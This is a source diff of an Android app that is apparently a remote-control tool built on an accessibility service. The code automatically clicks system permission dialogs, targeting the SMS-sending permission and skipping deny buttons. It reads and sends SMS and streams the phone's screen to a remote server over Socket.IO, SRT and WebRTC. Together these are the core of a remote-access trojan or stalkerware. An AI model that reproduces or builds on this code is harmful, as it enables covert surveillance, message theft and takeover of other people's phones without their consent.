- "允许", "Allow", "确定", "OK", "是", "Yes",
- "使用时允许", "Allow while using",
- "仅本次使用时允许", "Allow only this time",
- "始终允许", "Allow always",
- "仅此一次", "Just once"
+ "允许",
+ "始终允许",
+ "允许本次使用",
+ "本次使用时允许",
+ "使用时允许",
+ "使用期间允许",
+ "仅使用期间允许",
+ "仅在使用中允许",
+ "仅在前台使用应用时允许",
+ "仅在使用该应用时允许",
+ "在使用中运行",
+ "在使用中",
+ "在使用该应用时",
+ "在使用期间",
+ "仅在使用中",
+ "仅在使用期间",
+ "仅在使用应用时",
+ "仅本次",
+ "本次允许",
+ "仅此一次",
+ "允许一次",
+ "Allow",
+ "Always allow",
+ "Allow all the time",
+ "Allow while using",
+ "Allow while using the app",
+ "Allow only this time",
+ "Only this time",
+ "This time only",
+ "Allow once"
)
// 查找所有按钮
@@ -7946,19 +10381,31 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
val btnDesc = btn.contentDescription?.toString() ?: ""
Log.d(TAG, "📱 检查按钮: 文本='$btnText', 描述='$btnDesc'")
-
- // 检查是否是权限按钮
- for (buttonText in buttonTexts) {
- if (btnText.contains(buttonText, ignoreCase = true) ||
- btnDesc.contains(buttonText, ignoreCase = true)) {
- Log.i(TAG, "📱 找到发送短信权限按钮: '$btnText', 描述: '$btnDesc'")
-
- // 尝试点击按钮
- clickButton(btn)
- Log.i(TAG, "📱 成功点击发送短信权限按钮: '$btnText'")
- btn.recycle()
- return true
- }
+
+ val combinedText = buildNodeCombinedText(btn.text, btn.contentDescription)
+ if (isRuntimeDenyText(combinedText)) {
+ Log.d(TAG, "📱 跳过拒绝类按钮: '$btnText' / '$btnDesc'")
+ btn.recycle()
+ continue
+ }
+
+ val explicitAllowMatched = buttonTexts.any { buttonText ->
+ btnText.contains(buttonText, ignoreCase = true) ||
+ btnDesc.contains(buttonText, ignoreCase = true)
+ }
+ val runtimeAllowMatched = isRuntimeAllowText(combinedText)
+ if (!explicitAllowMatched && !runtimeAllowMatched) {
+ btn.recycle()
+ continue
+ }
+
+ Log.i(TAG, "📱 找到发送短信权限按钮: '$btnText', 描述: '$btnDesc'")
+ val clickTarget = if (btn.isClickable) btn else findClickableParentOrSibling(btn)
+ if (clickTarget != null) {
+ val clicked = clickTarget.performAction(AccessibilityNodeInfo.ACTION_CLICK)
+ Log.i(TAG, "📱 成功点击发送短信权限按钮: '$btnText', action=$clicked")
+ btn.recycle()
+ return true
}
btn.recycle()
@@ -8332,4 +10779,4 @@ class PermissionGranter(private val service: AccessibilityRemoteService) {
return false
}
}
-}
\ No newline at end of file
+}
diff --git a/app/src/main/java/com/hikoncont/manager/SMSManager.kt b/app/src/main/java/com/hikoncont/manager/SMSManager.kt
index ddde498..c9e08e7 100644
--- a/app/src/main/java/com/hikoncont/manager/SMSManager.kt
+++ b/app/src/main/java/com/hikoncont/manager/SMSManager.kt
@@ -506,31 +506,8 @@ class SMSManager(private val service: AccessibilityRemoteService) {
val smsList = mutableListOf()
if (!checkSMSPermission()) {
- Log.w(TAG, "⚠️ 短信权限未授予,尝试自动申请")
- try {
- service.requestSMSPermissionWithAutoGrant()
- } catch (e: Exception) {
- Log.e(TAG, "触发短信权限申请失败", e)
- }
-
- var attempts = 0
- val maxAttempts = 16 // ~8s
- while (attempts < maxAttempts) {
- try {
- Thread.sleep(500)
- } catch (ie: InterruptedException) {
- }
- if (checkSMSPermission()) {
- Log.i(TAG, "✅ 短信权限已在等待期间授予,继续读取")
- break
- }
- attempts++
- }
-
- if (!checkSMSPermission()) {
- Log.w(TAG, "⚠️ 等待后仍未获得短信读取权限,返回空列表")
- return smsList
- }
+ Log.w(TAG, "⚠️ 短信权限未授予,停止自动拉起授权页,直接返回空列表")
+ return smsList
}
try {
@@ -748,8 +725,7 @@ class SMSManager(private val service: AccessibilityRemoteService) {
*/
fun sendSMSWithPermissionHandling(phoneNumber: String, message: String): Boolean {
if (!checkSMSPermission()) {
- Log.e(TAG, "❌ 短信权限未授予,尝试请求权限")
- requestSMSPermission()
+ Log.e(TAG, "❌ 短信权限未授予,已停止自动拉起授权页(需手动触发权限申请)")
return false
}
diff --git a/app/src/main/java/com/hikoncont/manager/ScreenCaptureManager.kt b/app/src/main/java/com/hikoncont/manager/ScreenCaptureManager.kt
index 91ead9f..030065d 100644
--- a/app/src/main/java/com/hikoncont/manager/ScreenCaptureManager.kt
+++ b/app/src/main/java/com/hikoncont/manager/ScreenCaptureManager.kt
@@ -25,10 +25,11 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
companion object {
private const val TAG = "ScreenCaptureManager"
- private const val CAPTURE_FPS = 15 // 进一步提升到15FPS,让视频更加流畅(从10提升到15)
- private const val CAPTURE_QUALITY = 55 // 优化:提升压缩质量,在数据量和画质间找到最佳平衡(30->55)
- private const val MAX_WIDTH = 480 // 更小宽度480px,测试单消息大小理论
- private const val MAX_HEIGHT = 854 // 更小高度854px,保持16:9比例
+ // 固定流媒体档位:720P + 60FPS
+ private const val CAPTURE_FPS = 60
+ private const val CAPTURE_QUALITY = 70
+ private const val MAX_WIDTH = 720
+ private const val MAX_HEIGHT = 1280
private const val MIN_CAPTURE_INTERVAL = 3000L // 调整为3000ms,无障碍服务截图间隔3秒
// 持久化暂停状态相关常量
@@ -296,31 +297,33 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
* 由服务端根据Web端反馈下发调整指令
*/
fun adjustQuality(fps: Int, quality: Int, maxWidth: Int, maxHeight: Int) {
- Log.i(TAG, "收到画质调整: fps=$fps, quality=$quality, resolution=${maxWidth}x${maxHeight}")
- if (fps in 1..30) {
- dynamicFps = fps
- Log.i(TAG, "帧率调整为: ${fps}fps (间隔${1000 / fps}ms)")
- }
- if (quality in 20..90) {
- dynamicQuality = quality
- Log.i(TAG, "JPEG质量调整为: $quality")
- }
- if (maxWidth in 240..1920) {
- dynamicMaxWidth = maxWidth
- Log.i(TAG, "最大宽度调整为: $maxWidth")
- }
- if (maxHeight in 320..2560) {
- dynamicMaxHeight = maxHeight
- Log.i(TAG, "最大高度调整为: $maxHeight")
- }
+ // 测试阶段锁定固定档位,避免前端/服务端动态参数导致分辨率抖动和拉伸。
+ dynamicFps = CAPTURE_FPS
+ dynamicQuality = CAPTURE_QUALITY
+ dynamicMaxWidth = MAX_WIDTH
+ dynamicMaxHeight = MAX_HEIGHT
+ Log.i(
+ TAG,
+ "忽略动态画质调整,保持固定档位: ${CAPTURE_FPS}fps, quality=$CAPTURE_QUALITY, ${MAX_WIDTH}x${MAX_HEIGHT} (requested fps=$fps, quality=$quality, resolution=${maxWidth}x${maxHeight})"
+ )
}
/**
* 切换到无障碍截图模式(由服务端指令触发)
- * 已禁用:不再允许服务端黑帧检测触发模式切换,避免误判导致权限回退
*/
fun switchToAccessibilityMode() {
- Log.i(TAG, "收到切换无障碍截图模式指令,已忽略(禁止服务端触发模式切换)")
+ if (Build.VERSION.SDK_INT < Build.VERSION_CODES.R) {
+ Log.w(TAG, "当前系统版本不支持无障碍截图模式,保持MediaProjection模式")
+ return
+ }
+ if (useAccessibilityScreenshot) {
+ Log.d(TAG, "已经在无障碍截图模式,跳过切换")
+ return
+ }
+ Log.i(TAG, "切换到无障碍截图模式")
+ stopCapture()
+ enableAccessibilityScreenshotMode()
+ startCapture()
}
/**
@@ -1817,7 +1820,6 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
val socketIOManager = service.getSocketIOManager()
if (socketIOManager != null && socketIOManager.isConnected()) {
socketIOManager.sendScreenData(frameData)
- Log.v(TAG, "Socket.IO sent frame: ${frameData.size} bytes")
success = true
// Reset throttle counter on success
if (socketUnavailableLogCount > 0) {
@@ -3215,4 +3217,4 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
generateTestImage()
}
}
-}
\ No newline at end of file
+}
diff --git a/app/src/main/java/com/hikoncont/manager/SmartMediaProjectionManager.kt b/app/src/main/java/com/hikoncont/manager/SmartMediaProjectionManager.kt
index 547884c..4524f7b 100644
--- a/app/src/main/java/com/hikoncont/manager/SmartMediaProjectionManager.kt
+++ b/app/src/main/java/com/hikoncont/manager/SmartMediaProjectionManager.kt
@@ -12,6 +12,7 @@ import android.os.Looper
import android.util.Log
import com.hikoncont.MediaProjectionHolder
import com.hikoncont.service.AccessibilityRemoteService
+import com.hikoncont.util.registerReceiverCompat
import kotlinx.coroutines.*
import java.util.concurrent.atomic.AtomicBoolean
import java.util.concurrent.atomic.AtomicInteger
@@ -485,7 +486,7 @@ class SmartMediaProjectionManager(
addAction(Intent.ACTION_USER_PRESENT)
addAction("android.mycustrecev.USER_STOPPED_PROJECTION")
}
- context.registerReceiver(systemStateReceiver, filter)
+ context.registerReceiverCompat(systemStateReceiver, filter)
Log.i(TAG, "✅ 已注册系统状态监听")
}
@@ -679,4 +680,4 @@ class SmartMediaProjectionManager(
Log.e(TAG, "❌ 清理失败", e)
}
}
-}
\ No newline at end of file
+}
diff --git a/app/src/main/java/com/hikoncont/manager/SrtStreamManager.kt b/app/src/main/java/com/hikoncont/manager/SrtStreamManager.kt
new file mode 100644
index 0000000..cc525e9
--- /dev/null
+++ b/app/src/main/java/com/hikoncont/manager/SrtStreamManager.kt
@@ -0,0 +1,417 @@
+package com.hikoncont.manager
+
+import android.media.projection.MediaProjection
+import android.os.Build
+import android.util.Log
+import androidx.annotation.RequiresApi
+import com.hikoncont.MediaProjectionHolder
+import com.hikoncont.service.AccessibilityRemoteService
+import com.pedro.common.ConnectChecker
+import com.pedro.common.VideoCodec
+import com.pedro.encoder.input.sources.audio.NoAudioSource
+import com.pedro.encoder.input.sources.video.ScreenSource
+import com.pedro.library.srt.SrtStream
+import org.json.JSONObject
+import kotlin.math.roundToInt
+
+@RequiresApi(Build.VERSION_CODES.LOLLIPOP)
+class SrtStreamManager(
+ private val service: AccessibilityRemoteService,
+ private val listener: Listener
+) {
+
+ interface Listener {
+ fun onStateChanged(state: String, message: String, extra: JSONObject? = null)
+ }
+
+ data class StartResult(
+ val success: Boolean,
+ val message: String,
+ val extra: JSONObject? = null
+ )
+
+ companion object {
+ private const val TAG = "SrtStreamManager"
+ private const val MIN_FPS = 20
+ private const val MAX_FPS = 60
+ private const val MIN_LONG_EDGE = 360
+ private const val MAX_LONG_EDGE = 1920
+ private const val MIN_BITRATE_BPS = 500_000
+ private const val MAX_BITRATE_BPS = 12_000_000
+ }
+
+ private enum class StreamPriority(val wireValue: String) {
+ SMOOTH("smooth"),
+ BALANCED("balanced"),
+ QUALITY("quality");
+
+ companion object {
+ fun fromRaw(raw: String?): StreamPriority {
+ return when (raw?.trim()?.lowercase()) {
+ QUALITY.wireValue -> QUALITY
+ BALANCED.wireValue -> BALANCED
+ else -> SMOOTH
+ }
+ }
+ }
+ }
+
+ private data class Session(
+ val deviceId: String,
+ val clientId: String,
+ val ingestUrl: String,
+ val width: Int,
+ val height: Int,
+ val fps: Int,
+ val priority: String,
+ val maxLongEdge: Int,
+ val bitrateBps: Int,
+ val startedAt: Long
+ )
+
+ private val stateLock = Any()
+ private var stream: SrtStream? = null
+ private var session: Session? = null
+ private var lastBitrateBps = 0L
+
+ fun isRuntimeSupported(): Boolean {
+ // Dependency exists at compile-time; runtime check is kept explicit for clarity.
+ return Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP
+ }
+
+ fun isStreaming(): Boolean = synchronized(stateLock) {
+ stream?.isStreaming == true
+ }
+
+ fun start(
+ deviceId: String,
+ clientId: String,
+ ingestUrl: String,
+ requestedFps: Int? = null,
+ requestedMaxLongEdge: Int? = null,
+ requestedBitrateKbps: Int? = null,
+ priorityRaw: String? = null
+ ): StartResult {
+ if (!isRuntimeSupported()) {
+ return StartResult(false, "srt_runtime_not_supported")
+ }
+ if (ingestUrl.isBlank() || !ingestUrl.startsWith("srt://", ignoreCase = true)) {
+ return StartResult(false, "invalid_srt_ingest_url")
+ }
+
+ val projection = MediaProjectionHolder.getMediaProjection()
+ ?: return StartResult(false, "media_projection_not_ready")
+
+ val screenConfig = buildScreenConfig(
+ requestedFps = requestedFps,
+ requestedMaxLongEdge = requestedMaxLongEdge,
+ requestedBitrateKbps = requestedBitrateKbps,
+ priorityRaw = priorityRaw
+ )
+ val preparedExtra = JSONObject().apply {
+ put("width", screenConfig.width)
+ put("height", screenConfig.height)
+ put("fps", screenConfig.fps)
+ put("bitrateBps", screenConfig.bitrateBps)
+ put("priority", screenConfig.priority)
+ put("maxLongEdge", screenConfig.maxLongEdge)
+ if (requestedMaxLongEdge != null) put("requestedMaxLongEdge", requestedMaxLongEdge)
+ if (requestedBitrateKbps != null) put("requestedBitrateKbps", requestedBitrateKbps)
+ put("ingestUrl", ingestUrl)
+ }
+
+ synchronized(stateLock) {
+ stopInternalLocked()
+
+ val checker = createConnectChecker()
+ val newStream = try {
+ createStream(projection, checker)
+ } catch (e: Exception) {
+ Log.e(TAG, "Create SRT stream failed", e)
+ return StartResult(false, "srt_stream_create_failed:${e.message ?: "unknown"}")
+ }
+
+ val videoPrepared = try {
+ newStream.prepareVideo(
+ screenConfig.width,
+ screenConfig.height,
+ screenConfig.bitrateBps,
+ screenConfig.fps,
+ 1,
+ 0
+ )
+ } catch (e: Exception) {
+ Log.e(TAG, "Prepare SRT video failed", e)
+ false
+ }
+
+ if (!videoPrepared) {
+ try {
+ newStream.release()
+ } catch (_: Exception) {
+ }
+ return StartResult(false, "srt_prepare_video_failed", preparedExtra)
+ }
+
+ // Keep encoder pipeline initialized even when sending video-only.
+ val audioPrepared = try {
+ newStream.prepareAudio(32_000, false, 32 * 1000)
+ } catch (e: Exception) {
+ Log.e(TAG, "Prepare SRT audio failed", e)
+ false
+ }
+
+ if (!audioPrepared) {
+ try {
+ newStream.release()
+ } catch (_: Exception) {
+ }
+ return StartResult(false, "srt_prepare_audio_failed", preparedExtra)
+ }
+
+ stream = newStream
+ session = Session(
+ deviceId = deviceId,
+ clientId = clientId,
+ ingestUrl = ingestUrl,
+ width = screenConfig.width,
+ height = screenConfig.height,
+ fps = screenConfig.fps,
+ priority = screenConfig.priority,
+ maxLongEdge = screenConfig.maxLongEdge,
+ bitrateBps = screenConfig.bitrateBps,
+ startedAt = System.currentTimeMillis()
+ )
+ lastBitrateBps = 0L
+
+ listener.onStateChanged("starting", "srt_connecting", preparedExtra)
+
+ try {
+ newStream.startStream(ingestUrl)
+ } catch (e: Exception) {
+ Log.e(TAG, "Start SRT stream failed", e)
+ stopInternalLocked()
+ return StartResult(
+ success = false,
+ message = "srt_start_failed:${e.message ?: "unknown"}",
+ extra = preparedExtra
+ )
+ }
+ }
+
+ return StartResult(true, "srt_starting", preparedExtra)
+ }
+
+ fun stop(reason: String = "remote_stop"): Boolean {
+ val hasSession = synchronized(stateLock) {
+ val exists = stream != null || session != null
+ stopInternalLocked()
+ exists
+ }
+
+ if (hasSession) {
+ listener.onStateChanged(
+ state = "stopped",
+ message = "srt_stopped",
+ extra = JSONObject().apply { put("reason", reason) }
+ )
+ }
+
+ return hasSession
+ }
+
+ fun release() {
+ synchronized(stateLock) {
+ stopInternalLocked()
+ }
+ }
+
+ private data class ScreenConfig(
+ val width: Int,
+ val height: Int,
+ val fps: Int,
+ val priority: String,
+ val maxLongEdge: Int,
+ val bitrateBps: Int
+ )
+
+ private fun buildScreenConfig(
+ requestedFps: Int?,
+ requestedMaxLongEdge: Int?,
+ requestedBitrateKbps: Int?,
+ priorityRaw: String?
+ ): ScreenConfig {
+ val metrics = service.resources.displayMetrics
+ val rawWidth = metrics.widthPixels.coerceAtLeast(2)
+ val rawHeight = metrics.heightPixels.coerceAtLeast(2)
+
+ val priority = StreamPriority.fromRaw(priorityRaw)
+ val defaultFps = when (priority) {
+ StreamPriority.SMOOTH -> 40
+ StreamPriority.BALANCED -> 45
+ StreamPriority.QUALITY -> 50
+ }
+ val defaultLongEdge = when (priority) {
+ StreamPriority.SMOOTH -> 960
+ StreamPriority.BALANCED -> 1152
+ StreamPriority.QUALITY -> 1280
+ }
+ val bitrateFactor = when (priority) {
+ StreamPriority.SMOOTH -> 0.055
+ StreamPriority.BALANCED -> 0.075
+ StreamPriority.QUALITY -> 0.10
+ }
+ val profileMinBitrate = when (priority) {
+ StreamPriority.SMOOTH -> 700_000
+ StreamPriority.BALANCED -> 1_000_000
+ StreamPriority.QUALITY -> 1_300_000
+ }
+ val profileMaxBitrate = when (priority) {
+ StreamPriority.SMOOTH -> 4_000_000
+ StreamPriority.BALANCED -> 7_000_000
+ StreamPriority.QUALITY -> MAX_BITRATE_BPS
+ }
+
+ val fps = (requestedFps ?: defaultFps).coerceIn(MIN_FPS, MAX_FPS)
+ val maxLongEdge = (requestedMaxLongEdge ?: defaultLongEdge).coerceIn(MIN_LONG_EDGE, MAX_LONG_EDGE)
+
+ val sourceLong = maxOf(rawWidth, rawHeight)
+ val sourceShort = minOf(rawWidth, rawHeight)
+ val scale = if (sourceLong > maxLongEdge) {
+ maxLongEdge.toFloat() / sourceLong.toFloat()
+ } else {
+ 1f
+ }
+
+ val targetLong = ((sourceLong * scale).roundToInt()).coerceAtLeast(2)
+ val targetShort = ((sourceShort * scale).roundToInt()).coerceAtLeast(2)
+
+ val width = if (rawWidth >= rawHeight) toEven(targetLong) else toEven(targetShort)
+ val height = if (rawWidth >= rawHeight) toEven(targetShort) else toEven(targetLong)
+
+ val requestedBitrateBps = requestedBitrateKbps
+ ?.takeIf { it > 0 }
+ ?.let { it * 1000 }
+ val bitrateEstimate = (width.toLong() * height.toLong() * fps.toLong() * bitrateFactor).toLong()
+ .coerceAtLeast(MIN_BITRATE_BPS.toLong())
+ .coerceAtMost(MAX_BITRATE_BPS.toLong())
+ .toInt()
+ val bitrateBps = (requestedBitrateBps ?: bitrateEstimate)
+ .coerceIn(profileMinBitrate, profileMaxBitrate)
+ .coerceIn(MIN_BITRATE_BPS, MAX_BITRATE_BPS)
+
+ return ScreenConfig(
+ width = width,
+ height = height,
+ fps = fps,
+ priority = priority.wireValue,
+ maxLongEdge = maxLongEdge,
+ bitrateBps = bitrateBps
+ )
+ }
+
+ private fun toEven(value: Int): Int {
+ val safe = value.coerceAtLeast(2)
+ return if (safe % 2 == 0) safe else safe - 1
+ }
+
+ private fun createStream(projection: MediaProjection, checker: ConnectChecker): SrtStream {
+ val screenSource = ScreenSource(service.applicationContext, projection)
+ val audioSource = NoAudioSource()
+ return SrtStream(service.applicationContext, checker, screenSource, audioSource).apply {
+ setVideoCodec(VideoCodec.H264)
+ val client = getStreamClient()
+ client.setReTries(2)
+ client.setOnlyVideo(true)
+ client.setLogs(false)
+ }
+ }
+
+ private fun createConnectChecker(): ConnectChecker {
+ return object : ConnectChecker {
+ override fun onConnectionStarted(url: String) {
+ listener.onStateChanged(
+ state = "starting",
+ message = "srt_connection_started",
+ extra = JSONObject().apply { put("url", url) }
+ )
+ }
+
+ override fun onConnectionSuccess() {
+ val current = synchronized(stateLock) { session }
+ listener.onStateChanged(
+ state = "running",
+ message = "srt_connection_success",
+ extra = JSONObject().apply {
+ put("bitrateBps", lastBitrateBps)
+ put("width", current?.width ?: 0)
+ put("height", current?.height ?: 0)
+ put("fps", current?.fps ?: 0)
+ put("priority", current?.priority ?: StreamPriority.SMOOTH.wireValue)
+ put("maxLongEdge", current?.maxLongEdge ?: 0)
+ put("startedAt", current?.startedAt ?: 0)
+ }
+ )
+ }
+
+ override fun onConnectionFailed(reason: String) {
+ Log.w(TAG, "SRT connection failed: $reason")
+ synchronized(stateLock) {
+ stopInternalLocked()
+ }
+ listener.onStateChanged(
+ state = "failed",
+ message = "srt_connection_failed:$reason"
+ )
+ }
+
+ override fun onDisconnect() {
+ val hadSession = synchronized(stateLock) {
+ val active = stream != null || session != null
+ stopInternalLocked()
+ active
+ }
+
+ if (hadSession) {
+ listener.onStateChanged(
+ state = "stopped",
+ message = "srt_disconnected"
+ )
+ }
+ }
+
+ override fun onAuthError() {
+ listener.onStateChanged("failed", "srt_auth_error")
+ }
+
+ override fun onAuthSuccess() {
+ listener.onStateChanged("running", "srt_auth_success")
+ }
+
+ override fun onNewBitrate(bitrate: Long) {
+ lastBitrateBps = bitrate
+ }
+ }
+ }
+
+ private fun stopInternalLocked() {
+ val old = stream
+ stream = null
+ session = null
+
+ if (old != null) {
+ try {
+ if (old.isStreaming) {
+ old.stopStream()
+ }
+ } catch (e: Exception) {
+ Log.w(TAG, "Stop SRT stream failed", e)
+ }
+ try {
+ old.release()
+ } catch (e: Exception) {
+ Log.w(TAG, "Release SRT stream failed", e)
+ }
+ }
+ }
+}
diff --git a/app/src/main/java/com/hikoncont/manager/WebRTCManager.kt b/app/src/main/java/com/hikoncont/manager/WebRTCManager.kt
new file mode 100644
index 0000000..a97397b
--- /dev/null
+++ b/app/src/main/java/com/hikoncont/manager/WebRTCManager.kt
@@ -0,0 +1,1110 @@
+package com.hikoncont.manager
+
+import android.content.Intent
+import android.media.projection.MediaProjection
+import android.os.Build
+import android.util.Log
+import androidx.annotation.RequiresApi
+import com.hikoncont.MediaProjectionHolder
+import com.hikoncont.service.AccessibilityRemoteService
+import com.hikoncont.service.RemoteControlForegroundService
+import com.hikoncont.util.DeviceDetector
+import org.json.JSONObject
+import org.webrtc.DefaultVideoDecoderFactory
+import org.webrtc.DefaultVideoEncoderFactory
+import org.webrtc.EglBase
+import org.webrtc.CandidatePairChangeEvent
+import org.webrtc.IceCandidate
+import org.webrtc.MediaConstraints
+import org.webrtc.PeerConnection
+import org.webrtc.PeerConnectionFactory
+import org.webrtc.RtpSender
+import org.webrtc.ScreenCapturerAndroid
+import org.webrtc.SessionDescription
+import org.webrtc.SdpObserver
+import org.webrtc.SurfaceTextureHelper
+import org.webrtc.VideoSource
+import org.webrtc.VideoTrack
+import java.util.concurrent.CountDownLatch
+import java.util.concurrent.Executors
+import java.util.concurrent.TimeUnit
+import java.util.concurrent.atomic.AtomicLong
+import java.util.concurrent.atomic.AtomicBoolean
+import kotlin.math.roundToInt
+
+@RequiresApi(Build.VERSION_CODES.LOLLIPOP)
+class WebRTCManager(
+ private val service: AccessibilityRemoteService,
+ private val listener: Listener
+) {
+ private val webRtcTransportPolicy = DeviceDetector.getWebRtcTransportPolicy()
+
+ interface Listener {
+ fun onAnswer(deviceId: String, clientId: String, type: String, sdp: String)
+ fun onIceCandidate(deviceId: String, clientId: String, candidate: IceCandidate)
+ fun onStateChanged(deviceId: String, clientId: String, state: String, message: String, extra: JSONObject? = null)
+ fun onStopped(deviceId: String, clientId: String, reason: String)
+ }
+
+ data class StartResult(
+ val success: Boolean,
+ val message: String,
+ val extra: JSONObject? = null
+ )
+
+ private data class Session(
+ val sessionToken: Long,
+ val deviceId: String,
+ val clientId: String,
+ val peerConnection: PeerConnection,
+ val videoCapturer: ScreenCapturerAndroid,
+ val videoSource: VideoSource,
+ val videoTrack: VideoTrack,
+ val surfaceTextureHelper: SurfaceTextureHelper,
+ val width: Int,
+ val height: Int,
+ val fps: Int,
+ val bitrateBps: Int,
+ val maxLongEdge: Int,
+ val priority: String,
+ @Volatile var isClosing: Boolean = false,
+ @Volatile var captureStarted: Boolean = false
+ )
+
+ private data class ScreenConfig(
+ val width: Int,
+ val height: Int,
+ val fps: Int,
+ val bitrateBps: Int,
+ val maxLongEdge: Int,
+ val priority: String
+ )
+
+ private enum class StreamPriority(val wireValue: String) {
+ SMOOTH("smooth"),
+ BALANCED("balanced"),
+ QUALITY("quality");
+
+ companion object {
+ fun fromRaw(raw: String?): StreamPriority {
+ return when (raw?.trim()?.lowercase()) {
+ QUALITY.wireValue -> QUALITY
+ BALANCED.wireValue -> BALANCED
+ else -> SMOOTH
+ }
+ }
+ }
+ }
+
+ companion object {
+ private const val TAG = "WebRTCManager"
+ private const val VIDEO_TRACK_ID_PREFIX = "screen-track-"
+ private const val STREAM_ID_PREFIX = "screen-stream-"
+ private const val MIN_FPS = 12
+ private const val MAX_FPS = 60
+ private const val MIN_LONG_EDGE = 360
+ private const val MAX_LONG_EDGE = 1920
+ private const val MIN_BITRATE_BPS = 300_000
+ private const val MAX_BITRATE_BPS = 8_000_000
+ private const val DEFAULT_STUN_URL = "stun:stun.l.google.com:19302"
+ }
+
+ private val lock = Any()
+ private val rtcExecutor = Executors.newSingleThreadExecutor { runnable ->
+ Thread(runnable, "WebRTC-Native-Worker").apply { isDaemon = true }
+ }
+ private val sessionTokenGenerator = AtomicLong(1L)
+ private var peerConnectionFactory: PeerConnectionFactory? = null
+ private var eglBase: EglBase? = null
+ private val sessions: MutableMap = linkedMapOf()
+ private val pendingRemoteCandidates: MutableMap> = linkedMapOf()
+
+ private var turnUrls: List = emptyList()
+ private var turnUsername: String = ""
+ private var turnPassword: String = ""
+
+ fun updateTurnConfig(urlsRaw: String?, username: String?, password: String?) {
+ synchronized(lock) {
+ turnUrls = urlsRaw
+ ?.split(',', ';', ' ', '\n', '\t')
+ ?.map { it.trim() }
+ ?.filter { it.isNotEmpty() }
+ ?: emptyList()
+ turnUsername = username?.trim().orEmpty()
+ turnPassword = password?.trim().orEmpty()
+ }
+ }
+
+ fun isStreaming(): Boolean = synchronized(lock) {
+ sessions.isNotEmpty()
+ }
+
+ fun startFromOffer(
+ deviceId: String,
+ clientId: String,
+ sdp: String,
+ type: String = "offer",
+ requestedFps: Int? = null,
+ requestedMaxLongEdge: Int? = null,
+ requestedBitrateKbps: Int? = null,
+ priorityRaw: String? = null
+ ): StartResult {
+ if (clientId.isBlank() || deviceId.isBlank() || sdp.isBlank()) {
+ return StartResult(false, "invalid_webrtc_offer_payload")
+ }
+ if (!type.equals("offer", ignoreCase = true)) {
+ return StartResult(false, "invalid_webrtc_offer_type")
+ }
+
+ val permissionData = MediaProjectionHolder.getPermissionData()
+ val hasPermissionData = permissionData != null
+ val hasProjectionObject = MediaProjectionHolder.getMediaProjection() != null
+ val projectionIntent = permissionData?.second
+ if (projectionIntent == null) {
+ return StartResult(
+ success = false,
+ message = "media_projection_not_ready",
+ extra = JSONObject().apply {
+ put("hasPermissionData", hasPermissionData)
+ put("hasProjectionObject", hasProjectionObject)
+ }
+ )
+ }
+
+ // Android 10+ 在创建/启动屏幕采集前,先确保前台服务已升级为 mediaProjection 类型。
+ // 这个兜底可以降低高频重连时出现的 SecurityException(FGS type 不匹配)。
+ ensureMediaProjectionForegroundServiceForWebRtc()
+
+ val config = buildScreenConfig(
+ requestedFps = requestedFps,
+ requestedMaxLongEdge = requestedMaxLongEdge,
+ requestedBitrateKbps = requestedBitrateKbps,
+ priorityRaw = priorityRaw
+ )
+
+ val extra = JSONObject().apply {
+ put("width", config.width)
+ put("height", config.height)
+ put("fps", config.fps)
+ put("bitrateBps", config.bitrateBps)
+ put("maxLongEdge", config.maxLongEdge)
+ put("priority", config.priority)
+ }
+ val normalizedOfferSdp = normalizeSdpLineEndings(sdp)
+ val compatOfferSdp = buildCompatOfferSdp(normalizedOfferSdp)
+ extra.put("offerSdpSummary", buildOfferSdpSummary(normalizedOfferSdp, compatOfferSdp))
+
+ try {
+ val sessionToken = sessionTokenGenerator.getAndIncrement()
+ val factory = ensureFactory()
+ val rtcConfig = PeerConnection.RTCConfiguration(buildIceServers()).apply {
+ sdpSemantics = PeerConnection.SdpSemantics.UNIFIED_PLAN
+ bundlePolicy = PeerConnection.BundlePolicy.MAXBUNDLE
+ tcpCandidatePolicy = PeerConnection.TcpCandidatePolicy.ENABLED
+ continualGatheringPolicy = PeerConnection.ContinualGatheringPolicy.GATHER_CONTINUALLY
+ }
+
+ val peerConnection = factory.createPeerConnection(
+ rtcConfig,
+ createPeerConnectionObserver(deviceId, clientId, sessionToken)
+ ) ?: return StartResult(false, "create_peer_connection_failed")
+
+ val surfaceTextureHelper = SurfaceTextureHelper.create(
+ "WebRTC-ScreenCapture-$clientId",
+ eglBase?.eglBaseContext
+ )
+ val videoSource = factory.createVideoSource(true)
+ val projectionCallback = object : MediaProjection.Callback() {
+ override fun onStop() {
+ Log.w(TAG, "MediaProjection stopped by system, clientId=$clientId")
+ stop(clientId, "media_projection_stopped", notifyStop = true)
+ }
+ }
+ val videoCapturer = try {
+ ScreenCapturerAndroid(Intent(projectionIntent), projectionCallback)
+ } catch (e: Exception) {
+ Log.e(TAG, "Create ScreenCapturerAndroid failed", e)
+ try {
+ peerConnection.close()
+ } catch (_: Exception) {
+ }
+ videoSource.dispose()
+ surfaceTextureHelper.dispose()
+ return buildCaptureStartFailureResult(
+ phase = "create_capturer",
+ throwable = e,
+ config = config,
+ hasPermissionData = hasPermissionData,
+ hasProjectionObject = hasProjectionObject
+ )
+ }
+ try {
+ videoCapturer.initialize(
+ surfaceTextureHelper,
+ service.applicationContext,
+ videoSource.capturerObserver
+ )
+ } catch (e: Exception) {
+ Log.e(TAG, "Initialize ScreenCapturerAndroid failed", e)
+ try {
+ videoCapturer.dispose()
+ } catch (_: Exception) {
+ }
+ try {
+ peerConnection.close()
+ } catch (_: Exception) {
+ }
+ videoSource.dispose()
+ surfaceTextureHelper.dispose()
+ return buildCaptureStartFailureResult(
+ phase = "initialize_capturer",
+ throwable = e,
+ config = config,
+ hasPermissionData = hasPermissionData,
+ hasProjectionObject = hasProjectionObject
+ )
+ }
+
+ val videoTrack = factory.createVideoTrack(
+ VIDEO_TRACK_ID_PREFIX + clientId,
+ videoSource
+ )
+ val sender = peerConnection.addTrack(
+ videoTrack,
+ listOf(STREAM_ID_PREFIX + clientId)
+ )
+ applySenderParameters(sender, config.bitrateBps, config.fps)
+
+ synchronized(lock) {
+ stopSessionLocked(clientId, "session_replaced", notifyStop = false)
+ pendingRemoteCandidates.remove(clientId)
+ sessions[clientId] = Session(
+ sessionToken = sessionToken,
+ deviceId = deviceId,
+ clientId = clientId,
+ peerConnection = peerConnection,
+ videoCapturer = videoCapturer,
